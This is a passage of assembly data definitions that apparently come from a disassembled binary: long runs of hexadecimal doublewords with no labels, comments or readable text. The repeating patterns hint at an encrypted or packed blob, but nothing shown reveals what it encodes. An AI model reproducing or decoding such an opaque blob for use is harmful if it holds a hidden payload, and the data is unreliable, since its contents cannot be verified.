9596EEBAh dd 719F19BAh, 3876E437h, 0CCD7BB36h, 1933DB2Dh, 0DA310F4Fh dd 0DF6CAAA9h, 0F39EDC84h, 44B5BBCh, 0D19EDF38h, 7CFA5A98h dd 0CCF2F30Ah, 16F2ECFAh, 7F9EDF6Dh, 22F2101Bh, 7071F9EFh dd 0DDA55B6Ah, 0E25EF511h, 0F1D74681h, 719EDCF2h, 0FB5288F1h dd 0F0CCBDF4h, 0A2F8651Ah, 719EDF9Bh, 5DC4DF0Dh, 719EDDB3h dd 9CE5B517h, 5805803Ch, 58108679h, 719EDF54h, 0DE817845h dd 0ED7CA2A0h, 61A0A1AEh, 3024395Bh, 0AF724682h, 3F995D21h dd 0F2B3B0E2h, 3F7321E4h, 719EDC59h, 0FEA07F37h, 94BAC09Dh dd 9596EEBAh, 704DAFBAh, 39D4B037h, 6CFE727h, 0DC043069h dd 8B2BFC97h, 1A284EE4h, 0FE6C634Fh, 1950192Ch, 1C1068E4h dd 0F56CAAEAh, 722894BCh, 806CAAE4h, 0EEA99F2Eh, 4F3F0636h dd 0DE4C44BDh, 2B1916BEh, 280D5015h, 0DD1E199Ch, 4EB5CA61h dd 12E631C7h, 16DB3716h, 0F1FD2C4h, 9E60A1C3h, 8A3AC1A0h dd 247A6990h, 0E180B36Ah, 3A9344F2h, 249F69CCh, 0ADBD6AF0h dd 0D9C21DD5h, 3CF3414h, 0C89A8F1Dh, 45D03CE5h, 2EAEBA08h dd 540268E0h, 97E8928Fh, 0AC3D3AFCh, 3E60F3CFh, 0A0A05E44h dd 0F51DF738h, 91380733h, 6AAB69E4h, 0CA8BEF31h, 0CF9681Ah dd 13EA5C13h, 5F245751h, 133D826Eh, 0Bh dup(133DA751h) dd 5C7E8851h, 8932A752h, 3AC0B326h, 13D60047h, 0F3796A73h dd 2B31D4EEh, 4ADD44DDh, 0D66F4DCAh, 0DC5A6F1h, 96C94E8Eh dd 57649CACh, 824A23E5h, 68A8B171h, 4D010E7Bh, 453F843Dh dd 995E0D6Dh, 349AAE2Dh, 0F3F7BAADh, 0F8088AD2h, 6C80E32Bh dd 0D9FFB37Eh, 0D74E4E64h, 0D7698C8Eh, 1F0B9078h, 0F3C8B871h dd 354473A3h, 4BFDFF40h, 0C87EB2AAh, 6088BB3Eh, 0A7DF0282h dd 2F2F3FF8h, 9A65019Dh, 5B74E474h, 6ED7EBC5h, 30AD69D7h dd 0F0EE7A3Fh, 0CAF446F4h, 0E4E6155Dh, 0FE55488Fh, 946A005Fh dd 6F93B02Bh, 26109899h, 0B3632316h, 10BED503h, 0C67B2877h dd 0A4418C93h, 9C785E49h, 25AD528Fh, 0F4DB439Eh, 875F50DDh dd 0FAA285BFh, 133D89ABh, 0A4BD212Bh, 5CB206F1h, 0ECFFA3FDh dd 0A513F3BBh, 8C5605ADh, 2B29D97Fh, 37D6B26Dh, 2B29D993h dd 0A33C118Ch, 2B29D9A7h, 773153FEh, 892C2F61h, 8EC41D9Dh dd 0E6D073D7h, 133D89A1h, 5899C955h, 0ED0D61FBh, 97E4F497h dd 0BA96AD62h, 0EC538C82h, 0EC8ED4D5h, 2FE8EB4Bh, 80C1A299h dd 273FC6FDh, 74FBFBFBh, 3B72B873h, 34E69B81h, 75525AF2h dd 93E4C9DBh, 0BAAEEED3h, 1D30EEF4h, 4CA59CF2h, 0DC9EEFE2h dd 0C8127CF4h, 0DEC5CE16h, 10DFE93Eh, 4441FCF3h, 28E892h dd 96ED37FCh, 7A795A72h, 267B7D29h, 0FC109183h, 0CEBC8279h dd 1A36C031h, 13F8AFC1h, 80C2A751h, 0A1DC0A8Ch, 39F718D4h dd 0AEA6299Dh, 2865F594h, 0E8CF2847h, 0E4DDBAE7h, 8D85540Ah dd 1ADADFC2h, 2FE7473Ch, 0AF35398h, 38B3DD9Ah, 0BEFEFD72h dd 1E0B5E88h, 3ABD64E6h, 0B23C2902h, 8B18F62Fh, 96E1B1Fh dd 179A3E70h, 133DA769h, 93E52A27h, 0CC14EED3h, 36F8711Ch dd 0ED2052C4h, 0E8678F4Ch, 0FE2A3937h, 0FD2B1EDEh, 7123E08Bh dd 109B8F0Dh, 56BDBB2Eh, 7049F6BCh, 202EF34Ah, 6B14AFC8h dd 7EBC8274h, 80A970B4h, 16BA805Dh, 3FDB53E9h, 7D807F3Ah dd 0EEEFA579h, 0F5238C5Eh, 78C9114Fh, 5E17FD7h, 0CA150FE0h dd 0ED0AF494h, 5321CF55h, 7F69E828h, 0E5E635FAh, 0B01B4901h dd 0D013D5C1h, 0B61CA751h, 4C7E58F9h, 7655B6AAh, 939794F9h dd 7F377837h, 0D5098DD1h, 8C85C1CCh dd 69DDD8C5h, 0F6B5151Ah, 34BB9A5h, 18B0C40Ah, 0BE648AC6h dd 0AB74CB61h, 0CFDAD5Ch, 9C95A2DCh, 0C5354F03h, 0FF95491h dd 20BCFC2Ch, 0B397D696h, 9E3A0D9Bh, 0C1E45236h, 0EEAAD1D8h dd 0DEEA7781h, 86023A00h, 20035B79h, 769C5BFDh, 86B67D61h dd 3EE68E82h, 71381A5Ch, 91A423D3h, 2C731164h, 95AB3EBh dd 0B0F42B44h, 0C9696F46h, 6F27FE9Ch, 95960EF6h, 4AEB1AADh dd 1674E5B3h, 0FFF9A59Ch, 4EC0AF5h, 0E118C652h, 3DE91383h dd 53889959h, 66058EBFh, 1C02B5Ch, 543B86B9h, 0BFE5F2FCh dd 40BAB87h, 0D1B7F30Dh, 0EB61DCA1h, 304B2D1Bh, 5192E6B3h dd 0A2A36EF4h, 78A1D0B1h, 28407FE1h, 488F1F35h, 0BE6C236Ah dd 250432D3h, 302127B4h, 133DA7C4h, 0ACB04740h, 163088AEh dd 98D640EAh, 59C6F7Eh, 56D0566Bh, 5E5890A4h, 63E15667h dd 39ECFE6Dh, 0C4B745F8h, 85C7E26Ah, 91243C7Ah, 39ED0556h dd 3A5B2CCEh, 0D3829EB2h, 39EE08DBh, 0B74E7852h, 1BBF7704h dd 0BC0E69CDh, 7F21ABFFh, 7181001Dh, 0C92A8785h, 88383FBEh dd 36F40406h, 133D9E7Dh, 8B8002BEh, 3C34BB26h, 0A9AD2B5Ch dd 35F79C91h, 5876DD9Dh, 2894D268h, 6437F63Ch, 0DF7ADF85h dd 0CB8F1FAEh, 0CA85303h, 3DD55EA5h, 471AC85Ch, 10BA307Ch dd 61B09BAFh, 47E73DC8h, 9E384D62h, 0B2CF9B3Dh, 327DE3DDh dd 7645A0D7h, 0C4EE75A8h, 9C50F0E3h, 13ED4F1Fh, 0CCAD5522h dd 6C124F62h, 20A0288Ah, 52DC7292h, 207687B8h, 892FA36Fh dd 4BEC4574h, 99905EDAh, 0EDCD5686h, 11F94D59h, 0C4D22F18h dd 0CB3EAC9Fh, 450EC98h, 0D974862Bh, 42E681DFh, 2409410Ah dd 2E7FDE97h, 580D16DAh, 0D8885C70h, 23E08B96h, 0F685F164h dd 0E4E4E487h, 1B7DA67Fh, 0B65E47EBh, 0E315873Dh, 0B779A413h dd 0F984D9BEh, 0AF88F4Ah, 2856BB35h, 8D762437h, 36AA7430h dd 5E0B83C1h, 6B8B06Fh, 1559201Eh, 3787A751h, 8FB2C9B6h dd 0F6D66340h, 956C1741h, 0B26811D7h, 4D47B6A2h, 613C3A0Ch dd 0C3761B44h, 0E2C83654h, 0B1D76F45h, 87405D54h, 123D7B8Ah dd 13876F8Eh, 54974F70h, 7C3DA752h, 4D24CF68h, 5D80F789h dd 0CB5313CEh, 4A5C8991h, 0E7280089h, 0F140C7E7h, 1D6C0BCFh dd 133D82AAh, 73E4A822h, 2E50241Dh, 5A79506Ah, 123DA752h dd 5D6C6FD6h, 133FCFCEh, 0E8DA3D51h, 67A5BF61h, 83746E88h dd 13DA8078h, 6914A751h, 133D826Ch, 34DC0178h, 0E4ABEBFCh dd 26949348h, 133D82A3h, 60E770FCh, 32D16FD7h, 5B7355EFh dd 3F28E214h, 0AD5AD384h, 0B01DB6D9h, 4264CAB5h, 8D61298Dh dd 19CA2D5Ch, 4320A800h, 2C3D17DDh, 0F4B72DB1h, 0D23EFDF3h dd 0F645FF76h, 0DCA42D88h, 72577EB4h, 28743656h, 0C1477AA3h dd 63EB7AFAh, 3E6D61B5h, 133DA72Eh, 1546D61Eh, 4 dup(133DA751h) dd 0CC7AC51Ah, 99465751h, 0DCEE390Bh, 1064A667h, 0EF4E1A9Ch dd 7DDEDFF2h, 0D26C1974h, 985FEDE5h, 0E6835CA5h, 2EEEB2ECh dd 47A3E8C3h, 7C8F3292h, 8F0B3692h, 4DA8C941h, 0E862F768h dd 0FE329EDh, 6107A257h, 1D418EC7h, 442A1B85h, 388002D2h dd 9B957D7Ch, 9369684h, 8114CB3Bh, 51875F1Ch, 161E6119h dd 0D089C529h, 899F91A6h, 80BE25AFh, 31FD3565h, 8D4BD28h dd 79158C05h, 0F34BA574h, 0C37627BDh, 38376E54h, 93DD1BF3h dd 8E82CEA8h, 4D42B74Fh, 56370C66h, 8DB7ECEh, 17215323h dd 71E4E188h, 995BE45Bh, 13F728EDh, 0B80CF8F8h, 2FFFA4D1h dd 0D7CD3DAEh, 0D763BEF9h, 0F15C60A8h, 0BD29F936h, 0B04134D0h dd 33F617AEh, 0BFF2F068h, 0AD066C55h, 0AE2AEEAEh, 5FA58FEFh dd 849D793Bh, 0E244DDFAh, 1E2CB95Bh, 5507EAC0h, 4C999F2Dh dd 17018F09h, 0D5F665FDh, 133FEBCCh, 59E1BF51h, 7444D23Dh dd 0CA85A080h, 0C8638C82h, 0F1EED40Bh, 2BDE2145h, 723DA701h dd 394C1E57h, 0C2A8DB17h, 0CF3654E4h, 31D9F5D6h, 35418ED0h dd 63CEB305h, 651D58A6h, 5FB182F8h, 958A5014h, 7AFCDECEh dd 9B6E6D7Bh, 3D806FC9h, 654DE29Eh, 93E4C9C8h, 20C3EB3Ah dd 4D8346C2h, 8C1234D3h, 0D017B785h, 0B9B10B1h, 3365AD08h dd 21D52A4Eh, 878AF054h, 4B11ABB7h, 0F1B96B44h, 8D13DFE6h dd 2B38FDEEh, 5A8E6837h, 1CAC054Fh, 0FD01957Bh, 280B9BA0h dd 0DEF4A3FAh, 0E129BEF4h, 0FE31F931h, 13F21C45h, 7E3D9E87h dd 72F75206h, 88E191C7h, 97820FF3h, 0D11805CAh, 749E2674h dd 7F69E8BFh, 89B287FAh, 2806B85Ah, 0FC824620h, 5B98F494h dd 0B1E7F7E1h, 418E0422h, 78FB0460h, 35C49DA1h, 0EF067C3h dd 1F9A3673h, 133D78BCh, 93E4C64Fh, 357B46D3h, 0A5365F8Eh dd 0A8B8F45Bh, 2B1B5568h, 4C3E8145h, 0AAD4477h, 0F8AE664Eh dd 5FAE9975h, 7F77358Eh, 0ADBEEFFAh, 0B03944B8h, 0CC92B7C1h dd 958AA751h, 4C7E58F9h, 7655B6AAh, 939794F9h, 3B577837h dd 0E94CEB6Dh, 84FA8823h, 0F56468EAh, 8D30406h, 0F5F32C1Eh dd 0C8507173h, 3387FAE3h, 9F2A08CAh, 0D6FDADBAh, 0C5DC39Ch dd 7364A433h, 0FD0E19FCh, 0FBF385Dh, 0C7C94EECh, 0E45EEAA1h dd 0CA0F9920h, 875D1922h, 1B90E0B9h, 2112F6D5h, 89047F5Ah dd 638E1E5Dh, 5125424Ch, 0F9E2BB32h, 7248DA48h, 74CA3727h dd 6D581ADBh, 59528ED6h, 0FC92E098h, 0F5685D6Ch, 2E942624h dd 0D00EE8A4h, 0E0DFC451h, 0BF1A1383h, 17FDADC2h, 0FC42823Ah dd 17E842D8h, 0F31D3735h, 7A13E2EDh, 17CA180Eh, 0E8E1681Dh dd 273D8B14h, 88958BDDh, 9E372014h, 8FEAB1FDh, 7344461Ah dd 0B61957BDh, 5BBABB94h, 0E4E343BFh, 8806A67Fh, 0D45335Ah dd 13EAACFCh, 1EF7A151h, 18D7256Ch, 0E10A19F9h, 0C9333E26h dd 0A4E930BEh, 1854F41Ch, 0A16A2945h, 924186EEh, 0BBC2B605h dd 7F6C4C09h, 0E59FA87Ah, 9726DAC7h, 463276E4h, 0FE602E7Fh dd 27841750h, 0B28C9752h, 97DB0825h, 7137CC75h, 0F934CC54h dd 0D8D0710Fh, 713A8D7Fh, 0F23B12CBh, 1136004Eh, 13F8DA82h dd 56E9BF51h, 3A6BDEFCh, 23B1C41h, 87186FA6h, 0FAEA3C29h dd 29C2780Ch, 0E244DA53h, 0A289D36Fh, 0EED212BEh, 0EEA4B424h dd 0A916C064h, 21E99712h, 26BA0467h, 9EDB42EFh, 0F141E8E5h dd 8FB5648Dh, 866C3797h, 81247554h, 5F5ADE56h, 3A2C23DCh dd 2AC94152h, 8258ECCAh, 0DD12EF64h, 5CC9E008h, 0C3B4FC41h dd 1FDAC3DDh, 0A4806853h, 0B1E6B6F6h, 3552AE61h, 892077E8h dd 5D192679h, 8C9E6700h, 42C77BF0h, 7A565E32h, 0A8193F21h dd 0A56B628Ah, 13F88C64h, 0CA9C3989h, 45610997h, 0AC9D43E8h dd 0FBABF99Dh, 23C2C723h, 5D967C2h, 72E0E8B8h, 4B598130h dd 2549E332h, 0C16C397Ah, 0B8521FA7h, 10C063E7h, 58C9C77h dd 21533E30h, 8FBA1CEh, 133DA72Eh, 923C0F37h, 0A0B8EE6Dh dd 3C7EAB5Dh, 1C8C78Ah, 3B0E531Bh, 94235C1Ch, 2C1CE632h dd 8BB26133h, 0AE5D6024h, 397ADC93h, 0AAEA2B0Ah, 133FCF5Ch dd 76726A51h, 55DC0179h, 9D256F59h, 123D7B8Dh, 12DC70F6h dd 5D50A2AFh, 0AA3DA752h, 133FEB1Eh, 0A61D3E51h, 40952865h dd 967489Dh, 6251FA87h, 679CA806h, 688EB477h, 0E3D0CB63h dd 1C9B8150h, 9A51E01Ch, 8175BF72h, 0F9E3CEEFh, 80D7D393h dd 340D4503h, 13CDAD77h, 6F2BA751h, 3867B148h, 0DB3E28F6h dd 340D4263h, 0AAC447D4h, 133FCC07h, 54975051h, 603DA752h dd 24D16D0Fh, 15ED6DF7h, 154AB01Ah, 5410A751h, 603DA752h dd 32D170FFh, 5B7312FFh dd 0B4D8D28h, 3F1D7183h, 38A63578h, 58DD865Eh, 8201D892h dd 54DBCBEFh, 5E45C178h, 34E6FF97h, 82939260h, 24FAAA2Eh dd 7345E9DFh, 22337F49h, 0FD0E5843h, 6123185Bh, 0E8C86B1Bh dd 0C5AEE418h, 7BD0B18Ah, 13EA5FD3h, 4764786Ah, 0D2C84B33h dd 0C61DA104h, 83DCFEDAh, 0AA88CD6h, 6362AAC2h, 0A3134263h dd 2AC6D346h, 0CCA64201h, 133FB7E0h, 222DC7F1h, 0A8C9B96Ch dd 0E33D8991h, 0ED5D97E6h, 0C9051CEh, 0D5B42223h, 6877CCAEh dd 866C0D21h, 1792DE98h, 13A53206h, 0FC0EA751h, 133D9E7Ah dd 4A0BFA22h, 0F814A658h, 0F43DA72Eh, 779862h, 0FB408E4h dd 55BA1719h, 0AC0FA8F5h, 90BFB69Eh, 2452B37Ah, 52811ABEh dd 66FCA752h, 0F73DA750h, 115663EDh, 0AA3BA407h, 13F31C35h dd 0D413A751h, 2A6D5047h, 683DA701h, 133D9BA7h, 15578851h dd 745CA751h, 73361037h, 133D116Fh, 3963A951h, 0B7AE10F1h dd 0D90EA6C1h, 54B0A41Ah, 0A4E28861h, 1C58214Dh, 43064089h dd 0FB17253Fh, 7138C1F9h, 557B4EC5h, 8E0DE0DEh, 761ABCDAh dd 41h dup(761ABCDEh), 354879DEh, 8CF77447h, 1AFC89AAh dd 3C381557h, 3D2AB06Dh, 6BEBE3Ah, 40707830h, 803789A4h dd 35203A61h, 961FC145h, 38CFED42h, 34CEC3F3h, 48AECA46h dd 58E8AFB4h, 0E571EA72h, 0CBC7D945h, 0BA7DB0B4h, 64F9E1Ah dd 8FBF543Fh, 101CC127h, 761ABC43h, 0Ah dup(761ABCDEh) dd 7D79BCDEh, 0AE1ABC14h, 4585A157h, 68BA5C26h, 2FB2EE2Bh dd 9B79CF0Fh, 0E42F1CA7h, 458557C9h, 0A34D9826h, 934CEE2Bh dd 3779CF06h, 0E42F1C9Ch, 4585551Ah, 91DC8426h, 8B11EE2Bh dd 0A379CF06h, 0E42F1DECh, 4585A23Bh, 51E7C026h, 10DEEEB5h dd 5F79D0A5h, 0E42F1F79h, 45907B22h, 91C42C26h, 77E5EE2Bh dd 2B79D009h, 0E42F1C78h, 45907A6Bh, 4EF22826h, 3F1BEEB5h dd 8779D0A3h, 0E42F1DECh, 4585A309h, 4E5D9426h, 9CE5EEB5h dd 0F379D0A9h, 0E42F1DECh, 3F498690h, 91D15026h, 596AEE2Bh dd 0EF79D0AAh, 0E42F1DBBh, 45FF391Bh, 4E40FC26h, 5CF6EEB5h dd 0BB79D009h, 0E4324122h, 4516C857h, 4EF1B826h, 0E6D186B5h dd 4E60366Ah, 963338AAh, 0F22CCD4Dh, 0E5D5E025h, 0C090EEF2h dd 5EBFF874h, 0DDE48CB5h, 8E262174h, 13D71E16h, 3115730Bh dd 0B17B6E0Ah, 417F6E13h, 3D4C9A74h, 1F9A1366h, 9D09C944h dd 9588EA7Fh, 19B5DDF8h, 0B486F910h, 0B42EABE0h, 0EE43B840h dd 0C8500AC9h, 0A4BDB730h, 4067B402h, 74DBE142h, 90E484Ah dd 0B331AFFAh, 0B55DB0E3h, 7CF72DEDh, 49FE2E0Ah, 0F5E44736h dd 83F06ED8h, 2A7EBC02h, 0C1101209h, 2E122159h, 75846B3h dd 750F74B0h, 7C8F4331h, 6B79A160h, 0D01ABCDAh, 0AA3734D0h dd 0BED5F161h, 0A4FC54F9h, 0BCAA15CEh, 0BA0F1BEFh, 0F95C4CACh dd 0BDD6DBBFh, 15BCBD8Ch, 729F8D5Ah, 85312CBh, 2AA2A325h dd 671CBCDDh, 1803923Ch, 0D264C3B9h, 179B5EF0h, 979F0661h dd 1E7396ACh, 0AC425015h, 146638E6h, 0E87C88C6h, 896491D4h dd 27D86182h, 1EFAE6E1h, 0F39FEECFh, 0ED4F3454h, 118D66EFh dd 6FA1F1Bh, 46FE618Dh, 6A2FDBECh, 0F80AECD4h, 732B0D10h dd 7233043Fh, 71B453B7h, 6A2FCF84h, 0B800192Fh, 5D3EA9FEh dd 253848CBh, 32D0A6F4h, 0BA956C2Ah, 0AD14E93Ch, 0F2F079Ah dd 725072AFh, 1898AB84h, 7ED85709h, 69980E75h, 0D432D115h dd 3D26C37Dh, 0FE50BA97h, 0C734DFF9h, 0AE4619EAh, 0BCDD16FCh dd 221270ACh, 42260238h, 0F2FD9D9Dh, 0F45E289Dh, 3970A480h dd 8A694573h, 58AD4846h, 0D995A00Ch, 0B8E98F1Ch, 5F1A8389h dd 0FF12B744h, 2B0FDE98h, 0B87888A3h, 77F177DBh, 39330205h dd 0A99B418Ch, 0C2E508B3h, 8332958Ch, 0A33F201Dh, 3662FFBEh dd 633BBFCBh, 54E7F3BFh, 93E9DF92h, 9A5C4BE2h, 694FD364h dd 0DD08F4CCh, 2664B7Eh, 6A2FF881h, 4842ECD4h, 3019BCD6h dd 68595E64h, 0C6AC9D10h, 3B483B3Fh, 0D693F8D1h, 0BA9825BFh dd 5B626D3Ch, 533C8CB6h, 360C0971h, 9FA4018Dh, 0A8F35E9Fh dd 58FAF9C5h, 4C1D6EE3h, 4A034958h, 8A403917h, 0FC67301Eh dd 38016E1Ch, 0FA6AE703h, 0C44BBBC2h, 0CD2BE374h, 15EBA173h dd 0CD52F7C1h, 0E519D477h, 32926DBCh, 0E75D7313h, 0F6AD569Bh dd 7376B8CAh, 9899A632h, 8D2FBCDAh, 3C81B7B2h, 5E5B8614h dd 5F268319h, 2B32E157h, 0BD449F75h, 346B90BBh, 0FD921A6Eh dd 0DC3340C8h, 1966B865h, 4E68C932h, 0D10C34EDh, 0C6883863h dd 0D67ADA70h, 0EBED8D0Bh, 1B08B3C3h, 0C63CCCE6h, 0AC14F12Ch dd 0C1437A0Dh, 0EEAE7378h, 0F205EF6Bh, 1EA6AA51h, 3653759h dd 63EB011h, 12EDA525h, 1E4ABCDDh, 0B8A5C73h, 39AA11EAh dd 0F47CEC34h, 0B79E0D2Bh, 8563432Bh, 0F231C10Ah, 926FEB39h dd 0A43FC6CDh, 8EEFE49Fh, 62776A7Dh, 115497D3h, 43A48025h dd 93744D53h, 8AD59B17h, 721CB9C6h, 0B33F23CEh, 1AA33F32h dd 0D6C69488h, 0E96EE569h, 57AB728h, 598A5A6Eh, 0B35BCE7Fh dd 9F9BD8DEh, 31769E78h, 0B5F39ADDh, 941F1E3h, 733985D1h dd 0DFD6225Dh, 0D0C39BE9h, 97FAED5Bh, 13597281h, 708882EDh dd 649CAFB7h, 0A633BA29h, 32361721h, 0FD49E248h, 312F25Bh dd 0C405132h, 836E2594h, 5D7D88D2h, 0F0E8E63Fh, 981156F6h dd 245C89C2h, 0C40A9ADh, 0E5A673h, 5EC1E8C6h, 6AF17FD6h dd 93C40A87h, 0A9C85752h, 55439BE1h, 0A7C8D6FDh, 1C54550Eh dd 0C63CCCE6h, 8E2A4654h, 2551689Eh, 994D576Bh, 43A1A2E3h dd 0EA7C7D9Ah, 5E22D50Eh, 281BF970h, 0AEB7635Dh, 0E7B60853h dd 95449304h, 8E0309A0h, 346A0487h, 1E616C2Ah, 231D591Bh dd 45EB04A2h, 2F385BC4h, 0A5BA237h, 46917B62h, 7D2FDBECh dd 7C8F684Fh, 5BC9D36Bh, 0BD22B77Ah, 7519F41Bh, 2205F0h dd 0F3DCC9E8h, 3011ADA3h, 0EBC0A4B2h, 0B7F931BBh, 0F455574Eh dd 5D7D9E0Ch, 856B8D83h, 787CCA7h, 0A6873906h, 89B53E90h dd 0AC40B18Ch, 0F0AA306Fh, 0B35E9776h, 0C84CB021h, 815CB99h dd 6D6F5021h, 18F913F2h, 47C3210Eh, 805D793Ah, 8F6A5F53h dd 36FEB805h, 3F4B1DCEh, 5A9C3446h, 0E2C52D1h, 524569A5h dd 5AF05CDEh, 19B01C87h, 4BC0F796h, 730FB2Eh, 70DB8764h dd 509288F1h, 0E87C56FFh, 0E4E9B2B8h, 0E01838FCh, 2A6B46BAh dd 0C93AB1A1h, 0A66B6E09h, 0B636A43Ah, 0C2EEECDBh, 0A77298B5h dd 1D9AC216h, 0C1280B3h, 0A769C4BCh, 0CFE8F6E0h, 4D1C692Ah dd 555D78ECh, 759F8F8Ch, 3332B4D3h, 790E9F69h, 6A867BF2h dd 237F1D8h, 3A5E67BBh, 6937999Eh, 45AA8A22h, 83015DE1h dd 0F280C2ECh, 0AFE599FDh, 82BBA287h, 0F4DF400Fh, 0C1D639C8h dd 12D6E24Ah, 0D18DDBE9h, 57A3DCDDh, 0A19745C1h, 4E4965B9h dd 0C0A21A69h, 0ACC546A0h, 832DB36Ch, 0EC269423h, 9DC2D7EBh dd 432D1F6h, 308B330Ah, 5BA1AC14h, 60A4451Eh, 3D0FAAD2h dd 909F4706h, 0FD30CEDAh, 0C644596Ah, 4C5D8A5Ch, 873E8159h dd 1BB97F6h, 8A74397Ah, 0E2EA3AD6h, 0F47CEC52h, 52C3A729h dd 716847EEh, 841CA2ECh, 546343B6h, 3B7481C5h, 0F4CC3E5h dd 55C84286h, 5607BCDEh, 5113AC7Dh, 9115BE50h, 535B7BF7h dd 2D8C0E7Fh, 22DBF4C7h, 92C9EC6Ah, 9317AB84h, 0F576D8E0h dd 6FFC8309h, 0F5410543h, 0BA34A01Bh, 3656DCC2h, 857F97FAh dd 853C2CBDh, 0DDA84275h, 19B10E86h, 0BCD9BB71h, 1A7E66B3h dd 7FBBC7D9h, 0AC79796h, 0DEB3BCDDh, 24F45B86h dd 963E3C8h, 44A19CEEh, 59B814A7h, 88AFB1A7h, 8D36A213h dd 0DC446AD5h, 540A2F5Fh, 0BBD22E45h, 2F2B9D33h, 1E34A288h dd 0FA0FD174h, 0BEA305ABh, 0D8DFCCD5h, 0D3F5AE58h, 447F33CFh dd 0E397F907h, 56663BB0h, 972C9D87h, 0DF5339E0h, 84CAE898h dd 0A37DD952h, 11ED72BBh, 9631A9C7h, 1E708EFh, 6116117Ah dd 3CA1BCDEh, 0F47CF138h, 0D5B7D524h, 6B0B2348h, 9FBE8E99h dd 5D7D8BEBh, 0EC34EA08h, 88FAC5CEh, 5D603D48h, 0AAB0BAEEh dd 743BBCFCh, 0C91FCFC6h, 346C0FE4h, 69697B68h, 4B231258h dd 85479E3Eh, 0A00F9E72h, 0CE956E08h, 0DE6EFC35h, 453F25BDh dd 0B1A7FEDBh, 0CA1A6D1Dh, 0F88E126Dh, 0BD12D134h, 0D5BEE4FBh dd 3FAA8D7Eh, 7015C61h, 0D0989555h, 2BB1C252h, 0D49C7B91h dd 84B9F503h, 61F360EEh, 0AB9A1529h, 0C5FC7181h, 0ECE58065h dd 9FFDEA88h, 0F2BC4B3Fh, 48BBAC65h, 0F2D32A76h, 406FCC85h dd 0F4CEAEC6h, 790DFF74h, 7082F03Fh, 0DDEE496Fh, 98EF9739h dd 0E9EF967Dh, 0D4BD1263h, 9C1ABF90h, 0AA37375Dh, 25BCD6BEh dd 8ED64F6Bh, 0E312443Dh, 48BD47B6h, 559CA7F7h, 0C5374B5Dh dd 6B98E337h, 237D6E82h, 0D9180382h, 0C185D182h, 8F55EA76h dd 0B3F02DA3h, 0BE3281EDh, 0EA0FECD8h, 2DD4ACE4h, 65113B98h dd 0B66E4E8Ch, 5C2CA229h, 0BA950443h, 29B950E4h, 0A0663BADh dd 87330A5h, 72663BADh, 7082F099h, 102EDC6Fh, 0D4DBCE55h dd 81D3BCD2h, 0D4F89465h, 8EEFE472h, 6374FD96h, 65B23E07h dd 2CB7E45Fh, 327472F0h, 0BC42AD9Ch, 55743484h, 5D73ED86h dd 3779018Ah, 981B3D13h, 92335E9Ch, 0F26B8846h, 0A3580801h dd 0DA9C5D2Fh, 8AAAB7F6h, 89E2B987h, 0E64C88FDh, 271FE10Fh dd 8023E3BCh, 1ACA048Fh, 0A336A741h, 2D989779h, 26449AFFh dd 0D66B394Eh, 6ECAD115h, 6AA0AED0h, 1A80F302h, 6EF24B3Bh dd 54F7B684h, 0CE4BD1D9h, 0D1F03EFAh, 104409B5h, 0E5150B8Fh dd 292CC6D9h, 72EADFA0h, 1AE830DFh, 47AF4C0Fh, 88943919h dd 0CD5A632Ch, 90ED4289h, 0D650984Ah, 0E0D77474h, 0A17CB838h dd 0F947A526h, 0AA5F1D6Ch, 260FD1DBh, 0E4E40ADEh, 35707AD9h dd 98CAD3EAh, 0B3C5D064h, 88943910h, 0E3BA0E32h, 8A631089h dd 96699ABAh, 0E29155CEh, 578299ABh, 2E2395EBh, 5FC36F9Ah dd 5FFC12BCh, 6F7EEF39h, 4C74347Ch, 0DBF516D9h, 2F0E18DBh dd 8A32ADF8h, 9BD5E714h, 2EDB1234h, 0BF2B75CAh, 0E7F806CAh dd 5CEF9C25h, 0C6001A3Fh, 95FA1CF3h, 0CFBDC02Eh, 0CD59C5AEh dd 77987DFCh, 8BBA6A33h, 76BDFDA9h, 0BEC4ECCEh, 0EEEC9E7Ch dd 78BED183h, 564C6FDCh, 0CA5C722Dh, 0BE9A6B5Ah, 87837581h dd 2E1C161Dh, 73F5E0AFh, 8BA1EE6h, 1B01853h, 5E9F1309h dd 2782E928h, 70DF77F4h, 0B79C0E6h, 12930ED9h, 0EE2635A3h dd 0F9384348h, 0FE190B83h, 0C1FDD2E6h, 59A0AED2h, 0C14E8E7Ch dd 0C5E830DFh, 64C79FFh, 4F3766A0h, 0F0649EB2h, 86410024h dd 87BA00BEh, 0E065E4A5h, 0AC85037Ah, 0E0C43DF2h, 0CF5EE04Ah dd 0E6F29858h, 0E04F2F8Dh, 69D77AAEh, 0C05BB4Bh, 0E4FDAB12h dd 0C3437D2Ah, 0A01D2E1Fh, 0CAF1307Fh, 0EC86C5DFh, 0BDB0C27Ah dd 3C1F0AF9h, 0BF90B175h, 492736EAh, 64E4F817h, 0B49183ADh dd 3E2C13D9h, 0D1F9A63h, 0F98190B7h, 0E4B1D196h, 9F950F89h dd 0C7B304FBh, 435A725Dh, 37C9D5CAh, 0FF378849h, 0CD5DA670h dd 6B9DAAA1h, 1DC5C597h, 7FDAC1DCh, 0BEAECC96h, 0B47F6E58h dd 0EEA239A4h, 5F92438h, 25B6EC1Ah, 0A2FF17EBh, 9BABBB43h dd 0D7FDD308h, 0CBEE0EDFh, 1B24F3BEh, 0DABF7AD7h, 8CDB2850h dd 1CA0EFAAh, 8E823D51h, 0BB823ACEh, 0FF66CD43h, 4774E727h dd 0C0F29F7Ah, 39A2EB71h, 13D0915Eh, 8ACD21A8h, 81BE2DFh dd 0DE88860Fh, 8A861161h, 0DF959677h, 0A110C4A6h, 91D92E24h dd 0FACDD583h, 31DE2B1Ah, 8190E02Eh, 7F9B9983h, 81874040h dd 0C0BA34AAh, 561E355Ah, 0E175C2B6h, 0AF56AF89h, 1D48F248h dd 4B3455B7h, 0E5C77554h, 24DE40D9h, 0F5EEB920h, 0AA92195Fh dd 436F183Bh, 0F0632922h, 0A2E5BFC4h, 6444CBC8h, 3F3D505Fh dd 683AC64Fh, 5EDC9A6Ah, 8968BD87h, 0C1E68121h, 0F6EFA4FEh dd 0FE860B84h, 99B76BDCh, 6DB27F4Dh, 0B6987D00h, 2C7F3775h dd 25680F2Ch, 6DB2D556h, 9C457BE7h, 0F29E6EFAh, 0D417C44Eh dd 22100B2Ah, 0E16B88F5h, 0AF3AAF89h, 2548F248h, 4DA51679h dd 0EB8894C5h, 82402CC8h, 0E5E0E2B1h, 0DD89A8D9h, 1FADA5DDh dd 0A032533Ah, 9656FCCCh, 4C175098h, 5A4F49B7h, 0E21C58F3h dd 10FA3BECh, 3356194Dh, 21191F89h, 